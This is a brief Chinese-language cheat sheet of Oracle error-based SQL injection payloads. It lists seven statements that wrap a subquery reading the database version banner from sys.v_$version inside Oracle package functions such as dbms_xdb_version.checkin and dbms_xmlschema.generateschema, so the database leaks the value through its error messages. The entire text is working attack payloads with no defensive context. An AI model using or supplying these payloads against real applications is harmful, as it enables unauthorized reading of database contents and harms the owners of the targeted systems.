oracle报错注入的一些函数

oracle 报错注入

select dbms_xmltranslations.extractxliff((select banner from sys.v_$version where rownum=1)) from dual  --爆数据库版本号

select dbms_xdb_version.checkin((select banner from sys.v_$version where rownum=1)) from dual

select dbms_xdb_version.makeversioned((select banner from sys.v_$version where rownum=1)) from dual

select dbms_xdb_version.uncheckout((select banner from sys.v_$version where rownum=1)) from dual 

select dbms_utility.sqlid_to_sqlhash((select banner from sys.v_$version where rownum=1)) from dual

select dbms_streams.get_information((select banner from sys.v_$version where rownum=1)) from dual

select dbms_xmlschema.generateschema((select banner from sys.v_$version where rownum=1)) from dual